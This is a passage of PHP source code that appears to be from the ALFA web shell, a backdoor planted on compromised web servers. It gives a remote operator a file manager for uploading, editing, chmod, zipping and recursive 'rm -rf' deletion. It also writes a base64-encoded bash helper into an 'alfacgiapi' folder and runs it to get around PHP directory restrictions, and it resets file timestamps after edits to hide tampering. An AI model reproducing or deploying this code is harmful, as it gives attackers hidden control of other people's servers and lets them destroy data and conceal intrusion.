false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $check;\r\n}\r\nfunction _alfa_is_dir($dir,$mode="-d"){\r\n\t$check = false;\r\n\t$check = @is_dir($dir);\r\n\tif(!$check){\r\n\t\tif(_alfa_can_runCommand()){\r\n\t\t\t$check = alfaEx(\'[ "\'.trim($mode).\'" "\'.trim(addslashes($dir)).\'" ] && echo "yes" || echo "no"\');\r\n\t\t\tif($check == "yes"){\r\n\t\t\t\treturn true;\r\n\t\t\t}else{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $check;\r\n}\r\nfunction alfaFilesMan(){\r\nalfahead();\r\nAlfaNum(8,9,10,7,6,5,4);\r\necho \'<div class="ajaxarea"><div class="header">\';\r\nif(!empty ($_COOKIE[\'f\']))\r\n$_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\r\nif(!empty($_POST[\'alfa1\'])){\r\nswitch($_POST[\'alfa1\']){\r\ncase \'uploadFile\':\r\nif(isset($GLOBALS[\'glob_chdir_false\'])){\r\n\t$alfa_canruncmd = _alfa_can_runCommand(true,true);\r\n\t$move_cmd_file = true;\r\n}\r\n$files = reArrayFiles($_FILES[\'f\']);\r\nforeach($files as $file){\r\nif($move_cmd_file){\r\n\talfaEx("cat \'".addslashes($file[\'tmp_name\'])."\' > \'".addslashes($_POST["c"]."/".$file[\'name\'])."\'");\r\n}else{\r\n\t@move_uploaded_file($file[\'tmp_name\'],$file[\'name\']);\r\n}\r\necho "uped...!<Br>";\r\n}\r\nbreak;\r\ncase \'mkdir\':\r\n$new_dir_cmd = false;\r\nif(isset($GLOBALS[\'glob_chdir_false\'])){\r\n\tif(_alfa_can_runCommand(true,true)){\r\n\t\talfaEx("cd \'".trim(addslashes($_POST[\'c\']))."\';mkdir \'".trim(addslashes($_POST[\'alfa2\']))."\'");\r\n\t}\r\n}else{\r\nif(!@mkdir(trim($_POST[\'alfa2\'])))\r\necho "<b><font color=\'red\'>Can\'t create new dir !</b></font>";\r\n}\r\nbreak;\r\ncase \'delete\':\r\nfunction deleteDir($path){\r\n$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\r\n$dh = @opendir($path);\r\nwhile(($item = @readdir($dh)) !== false){\r\n$item = $path.$item;\r\nif((basename($item) == "..") || (basename($item) == "."))\r\ncontinue;\r\n$type = @filetype($item);\r\nif ($type == "dir")\r\ndeleteDir($item);\r\nelse\r\n@unlink($item);\r\n}\r\n@closedir($dh);\r\n@rmdir($path);\r\n}\r\nif(is_array(@$_POST[\'f\']))\r\nforeach($_POST[\'f\'] as $f){\r\nif($f == \'..\')\r\ncontinue;\r\n$f = rawurldecode($f);\r\nif(isset($GLOBALS["glob_chdir_false"])){\r\n\tif(_alfa_can_runCommand(true,true)){\r\n\t\talfaEx("rm -rf \'".addslashes($_POST[\'c\'].\'/\'.$f)."\'");\r\n\t}\r\n}else{\r\nalfaEx("rm -rf \'".addslashes($f)."\'",false,false);\r\nif(@is_dir($f))\r\ndeleteDir($f);\r\nelse\r\n@unlink($f);\r\n}\r\n}\r\nif(@is_dir(rawurldecode(@$_POST[\'alfa2\']))&&rawurldecode(@$_POST[\'alfa2\'])!=\'..\'){\r\ndeleteDir(rawurldecode(@$_POST[\'alfa2\']));\r\nalfaEx("rm -rf \'".addslashes($_POST[\'alfa2\'])."\'",false,false);\r\n}else{\r\n@unlink(rawurldecode(@$_POST[\'alfa2\']));\r\n}\r\nif(isset($GLOBALS["glob_chdir_false"])){\r\n\t$source = rawurldecode(@$_POST[\'alfa2\']);\r\n\tif($source!=\'..\'&&!empty($source)){\r\n\t\tif(_alfa_can_runCommand(true,true)){\r\n\t\t\talfaEx("cd \'".trim(addslashes($_POST[\'c\']))."\';rm -rf \'".addslashes($source)."\'");\r\n\t\t}\r\n\t}\r\n}\r\nbreak;\r\ncase \'paste\':\r\nif($_SESSION[\'act\'] == \'copy\'&&isset($_SESSION[\'f\'])){\r\nfunction copy_paste($c,$s,$d){\r\nif(@is_dir($c.$s)){\r\n@mkdir($d.$s);\r\n$h = @opendir($c.$s);\r\nwhile (($f = @readdir($h)) !== false)\r\nif (($f != ".") and ($f != ".."))\r\ncopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n} elseif(is_file($c.$s))\r\n@copy($c.$s, $d.$s);\r\n}\r\nforeach($_SESSION[\'f\'] as $f)\r\ncopy_paste($_SESSION[\'c\'],$f, $GLOBALS[\'cwd\']);\r\n}elseif($_SESSION[\'act\'] == \'move\'&&isset($_SESSION[\'f\'])){\r\nfunction move_paste($c,$s,$d){\r\nif(@is_dir($c.$s)){\r\n@mkdir($d.$s);\r\n$h = @opendir($c.$s);\r\nwhile (($f = @readdir($h)) !== false)\r\nif(($f != ".") and ($f != ".."))\r\ncopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n}elseif(@is_file($c.$s))\r\n@copy($c.$s, $d.$s);\r\n}\r\nforeach($_SESSION[\'f\'] as $f)\r\n@rename($_SESSION[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\r\n}elseif($_SESSION[\'act\'] == \'zip\'&&isset($_SESSION[\'f\'])){\r\nif(class_exists(\'ZipArchive\')){\r\n$zip = new ZipArchive();\r\n$zipX = "alfa_".rand(1,1000).".zip";\r\nif($zip->open($zipX, 1)){\r\n@chdir($_SESSION[\'c\']);\r\nforeach($_SESSION[\'f\'] as $f){\r\nif($f == \'..\')continue;\r\nif(@is_file($_SESSION[\'c\'].$f))\r\n$zip->addFile($_SESSION[\'c\'].$f, $f);\r\nelseif(@is_dir($_SESSION[\'c\'].$f)){\r\n$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\'));\r\nforeach($iterator as $key=>$value){\r\n$key = str_replace(\'\\\\\',\'/\',realpath($key));\r\nif(@is_dir($key)){\r\nif(in_array(substr($key, strrpos($key,\'/\')+1),array(\'.\', \'..\')))continue;\r\n}else{$zip->addFile($key,$key);}}}}\r\n@chdir($GLOBALS[\'cwd\']);\r\n$zip->close();\r\n__alert(\'>> \'.$zipX.\' << is created...\');}}\r\n}elseif($_SESSION[\'act\'] == \'unzip\'&&isset($_SESSION[\'f\'])){\r\nif(class_exists(\'ZipArchive\')){\r\n$zip = new ZipArchive();\r\nforeach($_SESSION[\'f\'] as $f) {\r\nif($zip->open($_SESSION[\'c\'].$f)){\r\n$zip->extractTo($GLOBALS[\'cwd\']);\r\n$zip->close();}}}}\r\nunset($_SESSION[\'f\']);\r\nbreak;\r\ndefault:\r\nif(!empty($_POST[\'alfa1\'])){\r\n$_SESSION[\'act\'] = @$_POST[\'alfa1\'];\r\n$_SESSION[\'f\'] = @$_POST[\'f\'];\r\n$_SESSION[\'c\'] = @$_POST[\'c\'];\r\n}\r\nbreak;\r\n}\r\n}\r\nif(isset($_SESSION[__LAST_CWD__]) && !isset($_POST[\'c\']) && $_SESSION[__LAST_CWD__] != \'\'){\r\n\t$dirContent = @scandir($_SESSION[__LAST_CWD__]);\r\n}else{\r\n\t$dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\r\n\tif(preg_match("#(.*)\\/\\.\\.#", $_POST[\'c\'], $res)){\r\n\t\t$path = explode(\'/\', $res[1]);\r\n\t\tarray_pop($path);\r\n\t\t$_POST[\'c\'] = implode(\'/\', $path);\r\n\t}\r\n\t$_SESSION[__LAST_CWD__] = str_replace(array("..","//"), array("","/"), $_POST[\'c\']);\r\n}\r\n$cmd_dir = false;\r\nif($dirContent === false){\r\n\tif(_alfa_can_runCommand(true,true)){\r\n\t\t@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));\r\n\t\tif(!isset($_SESSION["alfachdir_bash"])||@!file_exists("alfacgiapi/getdir.alfa")){\r\n\t\t\t$bash = "jZNvb5swEMZfw6e4eaZppaIk3Z9INLyYNHXq2017UYWocsEEa2AjQ5SxNN99PmMIlTJpEVLOv+fu8Rkf79/N942evwg5bwr/6+P3mC79x4cfMZ0lcubztFBANsTPlQYBQgK9LhsIGYThTqt9HWZC87RVWvAmzIVuWqDG5eYeMuWD+dWsLWKCbE4F8T0hcxXT66ZlLYQpkOAhCn5GwbcoaKLgKVoELAq+EKBYd+N72MosmoHmLINQ485Ma9bBer0GQtHNmLZdzWN6tMpmsT3ZndVBcj3SpaO265HeGeo14s+5+gOSSmUi70b20dXWXFdyX43804QX+4rJUfmMLiKHzcacpK+COAayWK5WKwLb7T20BZe+5w2eZIGKA70ZyfTht30Mz8VgGB7MwfH1oA9cXVmmJ+yNd6pKpWNSMSGfd5pz+YzUGPLS2f1X6aEQLT+XNvxCjubZkHHuluLd2LMPk9K92cheHWqTls41mu/2JdOQi5Lb476+Xk7gVd12/05ruupFlSKFUshfF/a3hX3bduSPCZGs4gmJIDFTlpBb84+pjvQhQjtljroYsR0zh12MGEfN0T5E2E+bw8MCBTcbThlXg2SnZCK69SDbq5nIbn269TMlufu0j6ct+Qs=";\r\n\t\t\talfaWriteTocgiapi("getdir.alfa",$bash);\r\n\t\t}\r\n\t\tif(empty($_SESSION[__LAST_CWD__]))$_SESSION[__LAST_CWD__] = "/";\r\n\t\t$dirContent = alfaEx("cd alfacgiapi;sh getdir.alfa \'".addslashes($_SESSION[__LAST_CWD__])."\'");\r\n\t\t$dirContent = json_decode($dirContent, true);\r\n\t\tif(is_array($dirContent)){\r\n\t\t\tarray_pop($dirContent);\r\n\t\t\t$cmd_dir = true;\r\n\t\t}else{\r\n\t\t\t$dirContent = false;\r\n\t\t}\r\n\t\t$_SESSION["alfachdir_bash"] = true;\r\n\t}\r\n}\r\nif($dirContent == false){\r\necho \'<center><br><span style="font-size:16px;"><span style="color: red; -webkit-text-shadow: 1px 1px 13px;"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>\';\r\nalfaFooter();\r\nreturn;\r\n}\r\nglobal $sort;\r\n$sort = array(\'name\', 1);\r\nif(!empty($_POST[\'alfa1\'])) {\r\nif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'alfa1\'], $match))\r\n$sort = array($match[1], (int)$match[2]);\r\n}\r\necho "<form onsubmit=\'fc(this);return false;\' name=\'files\' method=\'post\'><table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'><tr><th width=\'13px\'><div class=\'myCheckbox\' style=\'padding-left:0px;\'><input type=\'checkbox\' id=\'mchk\' onclick=\'checkBox();\' class=\'chkbx\'><label for=\'mchk\'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";\r\n$dirs = $files = array();\r\n$n = count($dirContent);\r\nfor($i=0;$i<$n;$i++){\r\nif($cmd_dir){\r\n$filename = $dirContent[$i]["name"];\r\n$file_owner = $dirContent[$i]["owner"];\r\n$file_group = $dirContent[$i]["group"];\r\n$file_modify = @date(\'Y-m-d H:i:s\', $dirContent[$i]["modify"]);\r\n$file_perm = alfaPermsColor(array("class"=>$dirContent[$i]["permcolor"],"num"=>$dirContent[$i]["permnum"],"human"=>$dirContent[$i]["permhuman"]),true);\r\n$file_size = $dirContent[$i]["size"];\r\n$file_path = $_SESSION[__LAST_CWD__]."/".$dirContent[$i]["name"];\r\n}else{\r\n$filename = $dirContent[$i];\r\n$ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($GLOBALS[\'cwd\'].$filename)):array("name" => "????");\r\n$gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($GLOBALS[\'cwd\'].$filename)):array("name" => "????");\r\n$file_owner = $ow[\'name\']?$ow[\'name\']:(function_exists("fileowner")?@fileowner($GLOBALS[\'cwd\'].$filename):"????");\r\n$file_group = $gr[\'name\']?$gr[\'name\']:(function_exists("filegroup")?@filegroup($GLOBALS[\'cwd\'].$filename):"????");\r\n$file_modify = @date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $filename));\r\n$file_perm = alfaPermsColor($GLOBALS[\'cwd\'].$filename);\r\n$file_size = @filesize($GLOBALS[\'cwd\'].$filename);\r\n$file_path = $GLOBALS[\'cwd\'].$filename;\r\n}\r\n$tmp = array(\'name\' => $filename,\r\n\'path\' => $file_path,\r\n\'modify\' => $file_modify,\r\n\'perms\' => $file_perm,\r\n\'size\' => $file_size,\r\n\'owner\' => $file_owner,\r\n\'group\' => $file_group\r\n);\r\nif(!$cmd_dir){\r\nif(@is_file($file_path))\r\n$files[] = array_merge($tmp, array(\'type\' => \'file\'));\r\nelseif(@is_link($file_path))\r\n$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\r\nelseif(@is_dir($file_path)&& ($filename != "."))\r\n$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n}else{\r\n\tif($dirContent[$i]["type"]=="file"){\r\n\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\r\n\t}else{\r\n\t\tif($dirContent[$i]["name"] != "."){\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n\t\t}\r\n\t}\r\n}\r\n}\r\n$GLOBALS[\'sort\'] = $sort;\r\nfunction alfaCmp($a, $b) {\r\nif($GLOBALS[\'sort\'][0] != \'size\')\r\nreturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\r\nelse\r\nreturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\r\n}\r\nusort($files, "alfaCmp");\r\nusort($dirs, "alfaCmp");\r\n$files = array_merge($dirs, $files);\r\n$l=0;\r\n$cc=0;\r\nforeach($files as $f){\r\n$f[\'name\'] = htmlspecialchars($f[\'name\']);\r\n$newname = mb_strlen($f[\'name\'], \'UTF-8\')>60?mb_substr($f[\'name\'], 0, 60, \'utf-8\').\'...\':$f[\'name\'];\r\n$checkbox = \'checkbox\'.$cc;\r\n$raw_name = rawurlencode($f[\'name\']);\r\n$icon = $GLOBALS[\'DB_NAME\'][\'show_icons\']?\'<img src="\'.findicon($f[\'name\'],$f[\'type\']).\'" width="30" height="30">\':\'\';\r\n$style = $GLOBALS[\'DB_NAME\'][\'show_icons\']?\'position:relative;display:inline-block;bottom:12px;\':\'\';\r\necho \'<tr\'.($l?\' class=l1\':\'\').\'><td><div class="myCheckbox"><input type="checkbox" name="f[]" value="\'.$raw_name.\'" class="chkbx" id="\'.$checkbox .\'"><label for="\'.$checkbox .\'"></label></div></td><td>\'.$icon.\'<div style="\'.$style.\'"><a class="main_name" href=javascript:void(0) onclick="\'.(($f[\'type\']==\'file\')?\'editor(\\\'\'.$raw_name.\'\\\',\\\'auto\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\');">\'.($GLOBALS[\'cwd\'].$f[\'name\']==$GLOBALS[\'__file_path\']?"<span class=\'shell_name\' style=\'font-weight:unset;\'>".$f[\'name\']."</span>":htmlspecialchars($newname)):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" title=\' . $f[\'link\'] . \'><b>| \' . htmlspecialchars($f[\'name\']) . \' |</b>\').\'</a></td></div><td><span style="font-weight:unset;" class="main_size">\'.(($f[\'type\']==\'file\')?alfaSize($f[\'size\']):$f[\'type\']).\'</span></td><td><span style="font-weight:unset;" class="main_modify">\'.$f[\'modify\'].\'</span></td><td><span style="font-weight:unset;" class="main_owner_group">\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</span></td><td><a href=javascript:void(0) onclick="editor(\\\'\'.$raw_name.\'\\\',\\\'chmod\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\')">\'.\r\n$f[\'perms\'].\'</td><td><a class="actions" href="javascript:void(0);" onclick="editor(\\\'\'.$raw_name.\'\\\', \\\'rename\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\')">R</a> <a class="actions" href="javascript:void(0);" onclick="editor(\\\'\'.$raw_name.\'\\\', \\\'touch\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a class="actions" href="javascript:void(0);" onclick="editor(\\\'\'.$raw_name.\'\\\', \\\'edit\\\',\\\'\\\',\\\'\\\',\\\'\\\',\\\'\'.$f[\'type\'].\'\\\')">E</a> <a class="actions" href="javascript:void(0);" onclick="g(\\\'FilesTools\\\',null,\\\'\'.$raw_name.\'\\\', \\\'download\\\')">D</a>\':\'\').\'<a class="actions" href="javascript:void(0);" onclick="var chk = confirm(\\\'Are You Sure For Delete # \'.addslashes(rawurldecode($f[\'name\'])).\' # ?\\\'); chk ? g(\\\'FilesMan\\\',null,\\\'delete\\\', \\\'\'.$raw_name.\'\\\') : \\\'\\\';"> X </a></td></tr>\';\r\n$l = $l?0:1;\r\n$cc++;\r\n}\r\necho "<tr><td colspan=7>\r\n<input type=hidden name=a value=\'FilesMan\'>\r\n<input type=hidden name=c value=\'".htmlspecialchars((isset($GLOBALS[\'glob_chdir_false\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']))."\'>\r\n<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n<select id=\'tools_selector\' name=\'alfa1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\' selected>Delete</option><option value=\'zip\'>Add 2 Compress (zip)</option><option value=\'unzip\'>Add 2 Uncompress (zip)</option><option value=\'paste\'>Paste / Zip / Unzip </option></select>\r\n<input type=\'submit\' value=\' \'>\r\n</form></table></div></div>";\r\nalfafooter();\r\n}\r\nfunction alfaFilesTools(){\r\nalfahead();\r\necho \'<div class="filestools">\';\r\nif(isset($_POST[\'alfa1\']))$_POST[\'alfa1\'] = rawurldecode($_POST[\'alfa1\']);\r\n$alfa1_decoded = $_POST[\'alfa1\'];\r\n$chdir_fals = false;\r\nif(!@chdir($_POST[\'c\'])){\r\n\t$chdir_fals = true;\r\n\t$_POST[\'alfa1\'] = $_POST["c"]."/".$_POST["alfa1"];\r\n\t$alfa_canruncmd = _alfa_can_runCommand(true,true);\r\n\tif($alfa_canruncmd){\r\n\t\t$slashed_alfa1 = addslashes($_POST[\'alfa1\']);\r\n\t\t$file_info = explode(":", alfaEx(\'stat -c "%F:%U:%G:%s:%Y:0%a:%A" "\'.$slashed_alfa1.\'"\'));\r\n\t\t$perm_color_class = alfaEx("if [[ -w \'".$slashed_alfa1."\' ]]; then echo main_green_perm; elif [[ -r \'".$slashed_alfa1."\' ]]; then echo main_white_perm; else echo main_red_perm; fi");\r\n\t}\r\n}\r\nif($_POST[\'alfa2\'] == \'auto\'){\r\nif(is_array(@getimagesize($_POST[\'alfa1\']))){\r\n$_POST[\'alfa2\'] = \'image\';\r\n}else{\r\n\t$_POST[\'alfa2\'] = \'view\';\r\n\tif($chdir_fals){\r\n\t\tif($alfa_canruncmd){\r\n\t\t\t$mime = explode(":", alfaEx("file --mime-type \'".addslashes($_POST[\'alfa1\'])."\'"));\r\n\t\t\t$mimetype = $mime[1];\r\n\t\t\tif(!empty($mimetype)){\r\n\t\t\t\tif(strstr($mimetype, "image")){\r\n\t\t\t\t\t$_POST[\'alfa2\'] = \'image\';\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n}\r\nif($_POST[\'alfa2\'] == "rename" && !empty($_POST[\'alfa3\']) && @is_writable($_POST[\'alfa1\'])){$rename_cache = $_POST[\'alfa3\'];}\r\nif(@$_POST[\'alfa2\'] == \'mkfile\'){\r\n$_POST[\'alfa1\'] = trim($_POST[\'alfa1\']);\r\nif($chdir_fals&&$alfa_canruncmd){\r\n\tif(_alfa_is_writable($_POST["c"])){\r\n\t\talfaEx("cd \'".addslashes($_POST["c"])."\';touch \'".addslashes($alfa1_decoded)."\'");\r\n\t\t$_POST[\'alfa2\'] = "edit";\r\n\t}\r\n}\r\nif(!@file_exists($_POST[\'alfa1\'])){\r\n$fp = @fopen($_POST[\'alfa1\'], \'w\');\r\nif($fp){\r\n$_POST[\'alfa2\'] = "edit";\r\nfclose($fp);\r\n}\r\n}else{\r\n$_POST[\'alfa2\'] = "edit";\r\n}\r\n}\r\nif(!_alfa_file_exists(@$_POST[\'alfa1\'])){\r\necho __pre()."<center><p><div class=\\"txtfont\\"><font color=\'red\'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory(\'".$_POST[\'alfa4\']."\');</script>";\r\nalfaFooter();\r\nreturn;\r\n}\r\nif($chdir_fals){\r\n$filesize = $file_info[3];\r\n$uid["name"] = $file_info[1];\r\n$gid["name"] = $file_info[2];\r\n$permcolor = alfaPermsColor(array("class"=>$perm_color_class,"num"=>$file_info[5],"human"=>$file_info[6]),true);\r\n}else{\r\n$uid = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($_POST[\'alfa1\'])):\'\';\r\n$gid = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($_POST[\'alfa1\'])):\'\';\r\nif(!$uid&&!$gid){\r\n$uid[\'name\'] = function_exists("fileowner")?@fileowner($_POST[\'alfa1\']):\'\';\r\n$gid[\'name\'] = function_exists("filegroup")?@filegroup($_POST[\'alfa1\']):\'\';\r\n}\r\n$permcolor = alfaPermsColor($_POST[\'alfa1\']);\r\n$filesize = @filesize($_POST[\'alfa1\']);\r\nif(!isset($uid[\'name\'],$gid[\'name\'])||empty($uid[\'name\'])||empty($gid[\'name\'])){\r\n\tif(_alfa_can_runCommand()){\r\n\t\tlist($uid[\'name\'],$gid[\'name\']) = explode(":", alfaEx(\'stat -c "%U:%G" "\'.addslashes($_POST["c"]."/".$_POST["alfa1"]).\'"\'));\r\n\t}\r\n}\r\n}\r\necho \'<span class="editor_file_info_vars">Name:</span> \'.htmlspecialchars($alfa1_decoded).\' <span class="editor_file_info_vars">Size:</span> \'.alfaSize($filesize).\' <span class="editor_file_info_vars">Permission:</span> \'.$permcolor.\' <span class="editor_file_info_vars">Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\' <span class="editor_file_info_vars">Directory:</span> \'.str_replace("//", "/",($chdir_fals?"":$_POST[\'c\'].\'/\').$_POST[\'alfa1\']).\'<br><br>\';\r\nif(empty($_POST[\'alfa2\']))$_POST[\'alfa2\'] = \'view\';\r\nif(!_alfa_is_dir($_POST[\'alfa1\'])){\r\n$m = array(\'View\', \'Edit\', \'Download\', \'Highlight\', \'Chmod\', \'Rename\', \'Touch\', \'Delete\', \'Image\', \'Hexdump\');\r\n$ftype = "file";\r\n}else{\r\n$m = array(\'Chmod\', \'Rename\', \'Touch\');\r\n$ftype = "dir";\r\n}\r\nforeach($m as $v)\r\necho $v == \'Delete\' ? \'<a href="javascript:void(0);" onclick="var chk=confirm(\\\'Are You Sure For Delete This File ?\\\');chk?editor(\\\'\'.addslashes(!isset($rename_cache)?$_POST[\'alfa1\']:$rename_cache).\'\\\',\\\'\'.strtolower($v).\'\\\',\\\'\\\',\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\'):\\\'\\\';"><span class="editor_actions">\'.((strtolower($v)==@$_POST[\'alfa2\'])?\'<b><span class="editor_actions"> \'.$v.\' </span> </b>\':$v).\' | </span></a> \' : \'<a href="javascript:void(0);" onclick="editor(\\\'\'.addslashes(!isset($rename_cache)?$_POST[\'alfa1\']:$rename_cache).\'\\\',\\\'\'.strtolower($v).\'\\\',\\\'\\\',\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\')"><span class="editor_actions">\'.((strtolower($v)==@$_POST[\'alfa2\'])?\'<b><span class="editor_actions"> \'.$v.\' </span> </b>\':$v).\' | </span></a>\';\r\necho \'<br><br>\';\r\nswitch($_POST[\'alfa2\']){\r\ncase \'view\':\r\n@chdir($_POST[\'c\']);\r\necho \'<div class="editor-view"><div class="view-content"><p><button style="border-radius:10px;" class="button" onClick="copyToClipboard(\\\'view_ml_content\\\');">copy to clipboard</button></p><pre class="ml1" id="view_ml_content">\';\r\necho htmlspecialchars(__read_file($_POST[\'alfa1\']));\r\necho \'</pre></div></div>\';\r\nbreak;\r\ncase \'highlight\':\r\n@chdir($_POST[\'c\']);\r\nif(@is_readable($_POST[\'alfa1\'])){\r\necho \'<div class="editor-view"><div class="view-content"><div class="ml1" style="background-color: #e1e1e1;color:black;">\';\r\n$code = @highlight_file($_POST[\'alfa1\'],true);\r\necho str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div></div></div>\';\r\n}\r\nbreak;\r\ncase \'delete\':\r\n@chdir($_POST[\'c\']);\r\nif(@is_writable($_POST[\'alfa1\'])||isset($GLOBALS["glob_chdir_false"])){\r\n$deleted = true;\r\nif(!@unlink($_POST[\'alfa1\'])){\r\n\t$deleted = false;\r\n\tif($alfa_canruncmd){\r\n\t\tif(_alfa_is_writable($_POST[\'alfa1\'])){\r\n\t\t\talfaEx("rm -f \'".addslashes($_POST[\'alfa1\'])."\'");\r\n\t\t\t$deleted = true;\r\n\t\t}\r\n\t}\r\n}\r\nif($deleted)echo \'File Deleted...<script>var elem = $("\'.$_POST[\'alfa4\'].\'").parentNode;elem.parentNode.removeChild(elem);delete editor_files["\'.$_POST[\'alfa4\'].\'"];</script>\';else echo \'Error...\';}\r\nbreak;\r\ncase \'chmod\':\r\n@chdir($_POST[\'c\']);\r\nif(!empty($_POST[\'alfa3\'])){\r\n$perms = 0;\r\nfor($i=strlen($_POST[\'alfa3\'])-1;$i>=0;--$i)\r\n$perms += (int)$_POST[\'alfa3\'][$i]*pow(8, (strlen($_POST[\'alfa3\'])-$i-1));\r\nif(!@chmod($_POST[\'alfa1\'], $perms)){\r\nif($chdir_fals&&$alfa_canruncmd){\r\nalfaEx("cd \'".addslashes($_POST["c"])."\';chmod ".addslashes($_POST[\'alfa3\'])." \'".addslashes($alfa1_decoded)."\'");\r\necho(\'Success!\');\r\n}else{\r\necho \'<font color="#FFFFFF"><b>Can\\\'t set permissions!</b></font><br><script>document.mf.alfa3.value="";</script>\';}\r\n}else{echo(\'Success!\');}\r\n}\r\nclearstatcache();\r\nAlfaNum(8,9,10,7,6,5,4,2,1);\r\nif($chdir_fals){\r\n\t$file_perm = $file_info[5];\r\n}else{\r\n\t$file_perm = substr(sprintf(\'%o\', @fileperms($_POST[\'alfa1\'])),-4);\r\n}\r\necho \'<script>alfa3_="";</script><form onsubmit="editor(\\\'\'.addslashes($_POST[\'alfa1\']).\'\\\',\\\'\'.$_POST[\'alfa2\'].\'\\\',this.chmod.value,\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\');return false;"><input type="text" name="chmod" value="\'.$file_perm.\'"><input type=submit value=" "></form>\';\r\nbreak;\r\ncase \'edit\':\r\n@chdir($_POST[\'c\']);\r\nif(!@is_writable($_POST[\'alfa1\'])&&!_alfa_is_writable($_POST[\'alfa1\'])){\r\necho \'File isn\\\'t writeable\';\r\nbreak;\r\n}\r\nif(!empty($_POST[\'alfa3\'])){\r\n$_POST[\'alfa3\'] = substr($_POST[\'alfa3\'],1);\r\n$time = @filemtime($_POST[\'alfa1\']);\r\n$fp = @__write_file($_POST[\'alfa1\'],$_POST[\'alfa3\']);\r\nif($chdir_fals&&$alfa_canruncmd){\r\n\t$rname = $alfa1_decoded;\r\n\t$randname = $rname.rand(111,9999);\r\n\t$filepath = dirname($_SERVER["SCRIPT_FILENAME"])."/".$randname;\r\n\tif($fp = @__write_file($filepath ,$_POST[\'alfa3\'])){\r\n\t\talfaEx("mv \'".addslashes($filepath)."\' \'".addslashes($_POST["alfa1"])."\';rm -f \'".addslashes($filepath)."\'");\r\n\t}\r\n}\r\nif($fp){\r\necho \'Saved!<br><script>alfa3_="";</script>\';\r\n@touch($_POST[\'alfa1\'],$time,$time);\r\n}\r\n}\r\necho \'<button class="button" style="border-radius:10px;" onClick="copyToClipboard(\\\'edit_textarea_content\\\');">copy to clipboard</button><form id="editor_edit_area" onsubmit="editor(\\\'\'.addslashes($alfa1_decoded).\'\\\',\\\'\'.$_POST[\'alfa2\'].\'\\\',\\\'1\\\'+this.text.value,\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\');return false;"><p><input type="submit" value=" "></p><textarea name="text" id="edit_textarea_content" class="bigarea" onkeydown="saveByKey(event);">\';\r\necho htmlspecialchars(__read_file($_POST[\'alfa1\']));\r\necho \'</textarea><p><input type="submit" value=" "></p></form>\';\r\nbreak;\r\ncase \'hexdump\':\r\n@chdir($_POST[\'c\']);\r\n$c = __read_file($_POST[\'alfa1\']);\r\n$n = 0;\r\n$h = array(\'00000000<br>\',\'\',\'\');\r\n$len = strlen($c);\r\nfor ($i=0; $i<$len; ++$i) {\r\n$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\r\nswitch ( ord($c[$i]) ) {\r\ncase 0: $h[2] .= \' \'; break;\r\ncase 9: $h[2] .= \' \'; break;\r\ncase 10: $h[2] .= \' \'; break;\r\ncase 13: $h[2] .= \' \'; break;\r\ndefault: $h[2] .= $c[$i]; break;\r\n}\r\n$n++;\r\nif ($n == 32) {\r\n$n = 0;\r\nif ($i+1 < $len) {$h[0] .= 